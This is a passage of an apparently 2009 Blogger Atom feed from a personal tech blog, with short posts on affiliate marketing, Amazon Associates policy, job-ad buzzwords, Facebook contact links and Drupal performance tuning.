url='http://1.bp.blogspot.com/_ekehePDB92c/SjFVTsRPZPI/AAAAAAAAAPM/G7wZz9WEJWc/s72-c/2419466792_9e03e0c0e5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-911631218322173640</id><published>2009-06-09T20:09:00.002-07:00</published><updated>2009-06-09T20:10:14.630-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='project management'/><title type='text'>Client Vendor Relationship applied to the real world</title><content type='html'>This is SO valid. How many times do I see this in a week?&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/R2a8TRSgzZY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/R2a8TRSgzZY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-911631218322173640?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/911631218322173640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=911631218322173640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/911631218322173640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/911631218322173640'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/06/client-vendor-relationship-applied-to.html' title='Client Vendor Relationship applied to the real world'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8873882933016341343</id><published>2009-05-26T13:22:00.004-07:00</published><updated>2009-05-26T13:27:27.414-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='award winners'/><category scheme='http://www.blogger.com/atom/ns#' term='bad design'/><title type='text'>Cue the Slow Sarcastic Clap</title><content type='html'>&lt;a href="http://cupe.ca/communications/cupe-wsoty-2009-winner"&gt;CUPE held awards for its locals' websites&lt;/a&gt;. Don't get me started on the faulty logic of every local do its own thing. Here are the "top" 5-- this shows off both what's wrong with unions and with web design: &lt;a href="http://www.4153.cupe.ca/index1.htm"&gt;the #1 website got 77 votes&lt;/a&gt; (likely from its membership and the legally blind).&lt;br /&gt;&lt;br /&gt;Go ahead-- I dare you &lt;a href="http://www.4153.cupe.ca/index1.htm"&gt;to click here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8873882933016341343?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8873882933016341343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8873882933016341343' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8873882933016341343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8873882933016341343'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/05/cue-slow-sarcastic-clap.html' title='Cue the Slow Sarcastic Clap'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6490570332279829147</id><published>2009-04-06T07:24:00.003-07:00</published><updated>2009-04-06T07:26:53.028-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazon'/><category scheme='http://www.blogger.com/atom/ns#' term='affiliate'/><title type='text'>Dear Amazon Associate...</title><content type='html'>This is what I got from Amazon this morning. Basically it says, we're screwing you for search traffic. The unwritten part is "we don't need any of you suckers"&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;p&gt; We’re writing to let you know about a change to the Amazon Associates Program. After careful review of how we are investing our advertising resources, we have made the decision to no longer pay referral fees to Associates who send users to &lt;a href="http://www.amazon.com/" target="_blank"&gt;www.amazon.com&lt;/a&gt;, &lt;a href="http://www.amazon.ca/" target="_blank"&gt;www.amazon.ca&lt;/a&gt;, or &lt;a href="http://www.endless.com/" target="_blank"&gt;www.endless.com&lt;/a&gt; through keyword bidding and other paid search on Google, Yahoo, MSN, and other search engines, and their extended search networks. If you're not sure if this change affects you, please visit &lt;a href="http://www.amazon.com/gp/r.html?R=1TKJ7GHF9EI7H&amp;amp;C=2AMN0WLYRFKJM&amp;amp;H=1YJRHBNA3RO5I901WFAXLX6C45YA&amp;amp;T=C&amp;amp;U=https%3A%2F%2Faffiliate-program.amazon.com%2Fgp%2Fassociates%2Fpromo%2Fpaidsearch" target="_blank"&gt;this page&lt;/a&gt; for FAQs.   &lt;/p&gt;&lt;p&gt; As of May 1, 2009, Associates will not be paid referral fees for paid search traffic. Also, in connection with this change, as of May 1, 2009, Amazon will no longer make data feeds available to Associates for the purpose of sending users to the Amazon websites in the US or Canada via paid search. &lt;/p&gt;&lt;p&gt; This change applies only to the Associates programs in North America. If you are conducting paid search activities in connection with one of Amazon’s Associates Programs outside of the US and Canada, please refer to the applicable country’s Associates Program Operating Agreement for relevant terms and conditions. &lt;/p&gt;&lt;p&gt; We appreciate your continued support and participation in this advertising Program. If you have questions or concerns, please write to us by using the &lt;a href="http://www.amazon.com/gp/r.html?R=1TKJ7GHF9EI7H&amp;amp;C=2AMN0WLYRFKJM&amp;amp;H=54FUEMB24X53WA0FGUKOXHB9MRCA&amp;amp;T=C&amp;amp;U=https%3A%2F%2Faffiliate-program.amazon.com%2Fgp%2Fassociates%2Fcontact" target="_blank"&gt;Contact Us&lt;/a&gt; form available on Associates Central. &lt;/p&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6490570332279829147?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6490570332279829147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6490570332279829147' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6490570332279829147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6490570332279829147'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/04/dear-amazon-associate.html' title='Dear Amazon Associate...'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3526753608269780471</id><published>2009-03-18T21:16:00.003-07:00</published><updated>2009-04-02T07:18:22.220-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FaceBook'/><title type='text'>Does Facebook Now Suck?</title><content type='html'>Does the new Facebook layout suck? If so, have you tried to complain but come up cold? If so, try &lt;a href="http://www.facebook.com/help/contact_generic.php"&gt;http://www.facebook.com/help/contact_generic.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or&lt;br /&gt;&lt;br /&gt;To contact Facebook, people have suggested:&lt;br /&gt;click here and find the right form to fill in &lt;a href="http://www.facebook.com/help.php?topic=newhomepage"&gt;http://www.facebook.com/help.php?topic=newhomepage&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Or &lt;br /&gt;&lt;br /&gt;Is there a way to contact Facebook? YES! THERE IS! Administrative Email Address: &lt;a href="mailto:domain@facebook.com"&gt;domain@facebook.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I am sure that this will change in a day or two. What is more interesting: the bigger the company, the poorer their contact system. Amazon, eBay, Googgle, Blogger: if they are in the top 20, they handle customer service by providing almost no customer service. At my day job, we get lots of feedback and comments; and it's a smaller site. Does being callous to the users' pleas pave the way to success?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3526753608269780471?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3526753608269780471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3526753608269780471' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3526753608269780471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3526753608269780471'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/03/does-facebook-now-suck.html' title='Does Facebook Now Suck?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2313865123267378953</id><published>2009-03-07T20:02:00.002-08:00</published><updated>2009-03-07T20:05:04.780-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PLR'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>PLR on a Google Code</title><content type='html'>I have posted by PLR Exchange project to Google Code in the hopes that I can kick-start some development on this stalled project: &lt;a href="http://code.google.com/p/plrexchange/"&gt;Google Code&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2313865123267378953?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2313865123267378953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2313865123267378953' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2313865123267378953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2313865123267378953'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/03/plr-on-google-code.html' title='PLR on a Google Code'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4409210118090383503</id><published>2009-02-13T07:49:00.003-08:00</published><updated>2009-02-13T07:54:32.447-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='job trends'/><category scheme='http://www.blogger.com/atom/ns#' term='employment'/><title type='text'>Job search translator</title><content type='html'>&lt;span style="font-family: arial;"&gt;In today's frenetic job search world, you need to keep on your toes. Here are some job description buzz-words and what they really mean:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;Flattened hierarchy&lt;/span&gt; = the head of the company will yell at you directly. Everyone will be able to tell you what to do.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;Dynamic&lt;/span&gt; = chaotic and poorly planned&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Energetic&lt;/span&gt; = you're going to work lots of overtime&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Self-starter&lt;/span&gt; = we expect you to figure it out&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fast-paced&lt;/span&gt; = our sales people will give you work on the same day as the deadline&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial; font-weight: bold;font-family:Verdana;font-size:100%;"  &gt;O&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;rganizational skills&lt;/span&gt; = do you own filing and don't screw anything up&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;Effective time management&lt;/span&gt; = Must work fast. Fast!&lt;br /&gt; &lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;Customer service experience&lt;/span&gt; = sales people will pawn off their customers to you for the tricky questions&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;Monitor status of site functions&lt;/span&gt; = watch the servers crash, then reboot them&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Provide updates to internal stakeholders in the event of site problems&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt; = explain it to non-techs without making the IT department look bad.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Optimize and maintain database infrastructure&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt; = Our last guy had an epic fail at database administration.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Develop and maintain technical documentation&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;= Our last guy never put anything into the intranet Wiki&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;Manage the daily activities and performance of the IT staff&lt;/span&gt; = We don't think our IT staff are doing anything with their time.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Develop and enact&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt; corrective actions to address performance related issues&lt;/span&gt; = Plan how we can fire our deadbeat IT works, now that the Canadian dollar has tanked and we stupidly moved our manufacturing offshore when we were financially viable in the long term.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ensure a proper succession plan is in place&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-size:100%;" &gt; = Figure out who does what, so that when you need to fire them, you hand their tasks down to the next schmoe.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Serve as the single point of contact for vendor relationships&lt;/span&gt; = The non-techie manager who was doing this job got confused about mHz vs. gHz when he signed off on a contract&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt;Expert knowledge of XML and XSL&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family: arial;font-family:Verdana;font-size:100%;"  &gt;= The last guy said this stuff was cool, but we still can't figure it out&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Comfortable working in different OS platforms&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;=&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Option A&lt;/span&gt;. The guy with a Mac refused to trade to a PC.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Option B&lt;/span&gt;. Linux sucks as a desktop OS, so our users are still using XP, except for the sales manager who upgraded to Vista-- he's having problems opening PDFs-- can you help?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4409210118090383503?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4409210118090383503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4409210118090383503' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4409210118090383503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4409210118090383503'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/02/job-search-translator.html' title='Job search translator'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4775265625875358748</id><published>2009-02-09T07:41:00.004-08:00</published><updated>2009-02-09T08:10:09.838-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Adwords'/><category scheme='http://www.blogger.com/atom/ns#' term='Adsense'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo'/><category scheme='http://www.blogger.com/atom/ns#' term='clickers'/><title type='text'>Websites are for Chumps</title><content type='html'>I've had a website of one sort or another for 13 years. I've had trickles of advertising revenue for a large share of this time. You have to the keep the site up. You have to manage your keywords. You have to keep an eye on the content for the sake of monetization. You have to be a chump.&lt;br /&gt;There are parts of my site I built for the joy of web publishing. There are some sections I have done so that I could get rich quick. The net effect was some joy and little cash. What if I split out those two elements: the website continues to bring the joy; but the cash comes directly from the Internet?&lt;br /&gt;This is is different from Google arbitrage through Adsense: wherein you buy Adwords spots for lower cost search terms and bring the visitor to a page that is mostly Adsense. The arbitrager then makes the difference between the low value clicks he bought from AdWords and the higher value clicks generated by this traffic on his sites. In 2007, Google cracked down on this business model by closing the accounts of many arbitragers. Another way Google and Yahoo are combating the proliferation of arbitrage are through quality scoring systems. For example, in Google's case, Adwords penalizes "low quality" advertiser pages by placing a higher per click value to its campaigns&lt;sup id="cite_ref-2" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Scraper_site#cite_note-2" title=""&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;. This effectively evaporates the arbitrager's profit margin.&lt;br /&gt;The Google-to-Google game is largely done. It was about time, but Google was reluctant because all of those chumps who paid for an e-Book that told them this was the way to get rich quick also spent cash to Google. When Google paid them Adsense revenue, they always retain a share of what they paid out. Arbitragers made major cash for Google.&lt;br /&gt;There is another way to use Google Adwords to make money and it doesn't require a website! Join an affiliate program (Amazon, a good one via Commission Junction or Clickbank). Get your direct links through to products. Go into Google Adwords and spring for an ad campaign. The URL to use in the ad campaign will be the link through to the affiliate program's product page.&lt;br /&gt;Indeed, you are laying out your own cash to benefit someone else's website, but remember: clickers click. When I did my last forays into Adsense and the Yahoo advertising my hits went up by a little, but my clickthroughs from the site ads went up alot. This is because there are people who click on ads; and people who do not. If you have ads on your site to generate revenue, you want those clickers to visit. The same holds true for Adwords-&gt;affiliate paths. People who started down a road of commerce are likely to keep going-- much more so that those who trip over your site via Google. What's more: you can't screw it up yourself. Like a golfer who is bad at putting, I have watched myself get the ball on the green, get close to sinking the hole of proverbial revenue-- then adding a couple words and accidentally give my traffic a line drive into oblivion. Google couples your ads with the best matches that will make it most likely to put purchasers through your link.&lt;br /&gt;Your job is to get it going, invest some cash up front into Google Adwords, monitor the end success of the campaign-- at your affiliate dashboard, and tweak. If you are getting many Adwords hits (and expenses), but few affiliate sales, then you need to review your campaign: change Adwords phrasing; or even stop the campaign and link to a more viable project. (Really, what could be more viable than the &lt;a href="http://www.amazon.com/gp/product/B001RTCP1U?ie=UTF8&amp;amp;tag=mikedewolfe-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B001RTCP1U"&gt;Caprica pre-sale&lt;/a&gt;?) After the Adwords-to-affiliate income lag closes, you can be making some cash. The best part: &lt;nobr&gt;&lt;code&gt;your Affiliate revenue - (Adwords cost  + your time) = your NET INCOME&lt;/code&gt;&lt;/nobr&gt;. No more worrying about that bill for 1TB of traffic before Google cuts you a cheque for those eyeballs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4775265625875358748?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4775265625875358748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4775265625875358748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4775265625875358748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4775265625875358748'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/02/websites-are-for-chumps.html' title='Websites are for Chumps'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-204619263326741141</id><published>2009-02-04T18:32:00.002-08:00</published><updated>2009-02-04T18:36:52.724-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Wanna Write a Drupal Book?</title><content type='html'>&lt;a href="http://docs.google.com/Doc?id=dhbq2kxb_10hkw7rv"&gt;I have some of a Drupal book written&lt;/a&gt;, but I have frankly run out of steam on it. If you think the subject matter strikes your interest and you want to talk more, &lt;a href="mailto:mike@dewolfe.bc.ca"&gt;contact me&lt;/a&gt;.  I started writing this for Drupal 4.7; much of it is done for Drupal 5, but Drupal 6 is in vogue now.&lt;br /&gt;If you have a passion for writing or geeking out about Drupal, I'd love to hear from you. In a reversal of fate, I have an idea as to how to market the book (usually my conundrum).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-204619263326741141?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/204619263326741141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=204619263326741141' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/204619263326741141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/204619263326741141'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/02/wanna-write-drupal-book.html' title='Wanna Write a Drupal Book?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2818010190536100448</id><published>2009-02-04T17:26:00.001-08:00</published><updated>2009-02-04T18:01:50.513-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ShoppingAds.com'/><title type='text'>ShoppingAds.com is doing its Titanic impersonation</title><content type='html'>Dear [poor schmuck],&lt;br /&gt;ShoppingAds is undergoing a revamping and in the process has redefined the requirements of quality and traffic volume for the publishers we work with. Due to this restructuring, we regret to inform you that we have had to deactivate your account moving forward. If you have remaining earnings in your account from your last payout. You needn't worry- you WILL be paid on or after our next payout date, March 1st, 2009.&lt;br /&gt;&lt;br /&gt;Thank you kindly for your cooperation, and good luck with your future marketing endeavors.&lt;br /&gt;&lt;br /&gt;The ShoppingAds Team.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Anyone wanna bet that their office lease (sorry-- garage) is only paid up to Feb. 28th? I actually don't recall signing up with these characters. Maybe they're using someone else's database that I willingly signed up with pre-economic collapse.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2818010190536100448?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2818010190536100448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2818010190536100448' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2818010190536100448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2818010190536100448'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/02/shoppingadscom-is-doing-its-titanic.html' title='ShoppingAds.com is doing its Titanic impersonation'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6563507127542788807</id><published>2009-01-30T22:21:00.002-08:00</published><updated>2011-10-26T20:59:35.586-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drupal heretic'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><category scheme='http://www.blogger.com/atom/ns#' term='server load'/><title type='text'>Cooling A Hot Drupal Install</title><content type='html'>We have had problems with the company site for a month now. It's an ongoing seige. What's worse: this is the only Drupal I have that is doing this. Here are some of Drupal's deadly sins playing out:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;File stat frenzy&lt;/span&gt;: When in doubt, Drupal does check for modules and themes. If does a file system check by looking at certain file directories. We were really getting hung by this because I was being smart and using a theme with a stylesheet not named "style.css"-- this is what Drupal looks for in the themes to define that a theme is a theme. Also, I stored stuff in subdirectories in each of these themes (images and some other CSS files). That's a no-no. Whenever Drupal crawled the themes it would also crawl those subdirectories. There is an architectural problem we have (34 active themes) that is compounded by the two subdirectories per theme; and the absence of a style.css. So, I nuked one of the subdirectories per theme; and I put in an empty style.css to placate the file check.&lt;br /&gt;The modules directory is where we're putting all our modules. A number of developers reccommend putting non-core modules into sites/all/modules. I don't hold for that-- so much so that I disabled the sites/all/modules crawl from the file.inc. By default, it's one of the places to look for files. The file directory scan ignores ".", "..", and "CVS". Swell, but if you store stuff in Subversion, you may have .svn files in your production copy. So, I added ".svn" as a directory to ignore when doing the crawl.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Group sessions&lt;/span&gt;: Sessions for us have gone totally mental. When Google, Yahoo or other sites crawl our site, each page view spawns a new session. The session expiry functionality is faulty so these sessions pile up-- the sessions table grows and grows. Session tables in good installs look to have 2000-4000 sessions. Ours has 200,000 records on a good day: most are old, almost all of them are for anonymous users and most of them are shared by six or seven IP addresses. I have tried to prune these when I find the table has grown out of contol. Good luck. &lt;a href="http://success.grownupgeek.com/index.php/2008/08/14/drupal-sessions-table/"&gt;Randy Brown&lt;/a&gt; has a good piece on how to changes the settings.php file to make short session lifespans. I do not know if this will have a bearing. It hasn't appeared to work which may point to some faulty session end functionality.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Content Types Gone Wild&lt;/span&gt;: When in doubt, we add fields and content-types. We have over 500 fields in play. At first I thought I was being all smart: keep the number of fields under control to make consistency. Hah. It turns out that the multi-table joins needed to farm in data elements is a killer: it can tie up two dozen tables. &lt;a href="http://groups.drupal.org/node/17433"&gt;I put the question to people in the Drupal Groups&lt;/a&gt; and I have recieved alot of great and productive feedback. Short answer: lots of individual fields is good. The exception: when you're going to pool data (event dates, for example) should have a common data field.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tidying&lt;/span&gt;: I have been going through our themes and modules with an eye on two things: do we need the functionality, do we need the module or the theme? When it's not required I take it out. I know that with the hundreds of modules you can get into a PackRat mindset of gathering modules, but I have to resist that-- I've even tossed Devel when not in active use: the idea is that can re-install when I need it.&lt;br /&gt;&lt;br /&gt;The net result: the site is still driving into a wall. This means I get chiding comments about how Drupal is no good at running large sites. I counter that with &lt;a href="http://www.popsci.com"&gt;Popsci.com&lt;/a&gt;: it's 10x busier than our site. I also counter it with &lt;a href="http://wiki.joyent.com/all-accelerators:kb:drupal"&gt;Joyent's capacity&lt;/a&gt; to host VERY active sites. The problem: Joyent may be &lt;a href="http://drupal.org/node/197921"&gt;a little spazzy&lt;/a&gt;.&lt;a 